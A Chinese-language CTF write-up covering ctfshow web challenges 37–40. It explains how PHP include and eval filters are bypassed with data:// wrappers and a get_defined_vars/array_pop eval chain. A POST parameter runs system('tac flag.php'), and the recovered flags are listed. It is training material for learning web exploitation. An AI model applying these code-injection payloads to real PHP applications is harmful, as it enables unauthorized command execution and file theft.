CTFshow web37 38 39 40
创始人
2024-04-05 05:24:08
0

目录

web37

代码分析:

payload:

​编辑flag:

web38

代码分析:

payload:

​编辑flag:

web39

代码分析:

payload:

​编辑flag:

web40

代码分析:

payload:

flag:


web37

代码分析:

if(!preg_match("/flag/i", $c)){include($c);echo $flag;}

与前几题不同,前几题传入的字符串被eval当作命令执行了,而这道题是include,也就是说应该传入一个文件名,在这里被包含

但是过滤了flag,传入flag.php是行不通的,这时候可以使用data://text/plain,

让网页直接包含我们写入的代码,从而执行恶意命令

payload:

/?c=data://text/plain,

 注意flag需要绕过,可以使用引号绕过

flag:

ctfshow{84e1eca1-f50c-468a-a62d-15e527fa734f} 

web38

代码分析:

 if(!preg_match("/flag|php|file/i", $c))

这一题比上一题多过滤了个php,可以使用通配符绕过

payload:

/?c=data://text/plain,

 注意flag需要绕过,可以使用引号绕过

flag:

ctfshow{f311f8d8-07a3-473c-bccb-05be9affc617}

web39

代码分析:

if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c.".php");}

 看起来很唬人,我觉得是不是传个flag,其实根本不用管这个.".php",多出来的部分会自动识别为字符串,所以还是跟37一样

payload:

/?c=data://text/plain,

 注意flag需要绕过,可以使用引号绕过

flag:

ctfshow{78e78020-1ad2-446c-8a13-0cdf5e916bf4}

web40

代码分析:

 if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);

 这道题又回到eval了,但是过滤的内容有点多,翻阅了大佬的题解,发现这里面的括号是中文括号,所以可以使用套娃

套娃在前面的文章中有详细的操作流程与解释

传送门

payload:

http://7e7c4611-b901-44da-8f62-4a6c54c36e42.challenge.ctf.show/?c=eval(array_pop(next(get_defined_vars())));

post传一个参数:Chen=system('tac flag.php');

flag:

ctfshow{383cbb4b-1fbf-4209-9efb-b64720e53766}

相关内容

热门资讯

前端-session、jwt 目录:   (1)session (2&#x...
linux入门---制作进度条 了解缓冲区 我们首先来看看下面的操作: 我们首先创建了一个文件并在这个文件里面添加了...
关于测试,我发现了哪些新大陆 关于测试 平常也只是听说过一些关于测试的术语,但并没有使用过测试工具。偶然看到编程老师...
前缀和与对数器与二分法 1. 前缀和 假设有一个数组,我们想大量频繁的去访问L到R这个区间的和,...
nodejs:本地安装nvm实... 一、背景-使用不同版本node的原因 vue3+ts、nuxt3版本,node...
JAVA集合知识整理 Java集合知识整理 HashMap相关 HashMap的底层数据结构:jdk1.8之...
无刷直流电机介绍及单片机控制实... 无刷直流电机介绍及单片机控制实例前言基本概念优势与劣势使用寿命基本结构使用单片机控制实例电子调速器&...
fwdiary(2) dp2 1.传纸条  AcWing 275. 传纸条 - AcWing 走两条路,走一条最大的...
常用的DOS命令 常用的DOS命令 DOS(Disk Operating System,磁...
<C++> 类和对象(下) 1.const成员函数将const修饰的“成员函数”称之为const成员函数,cons...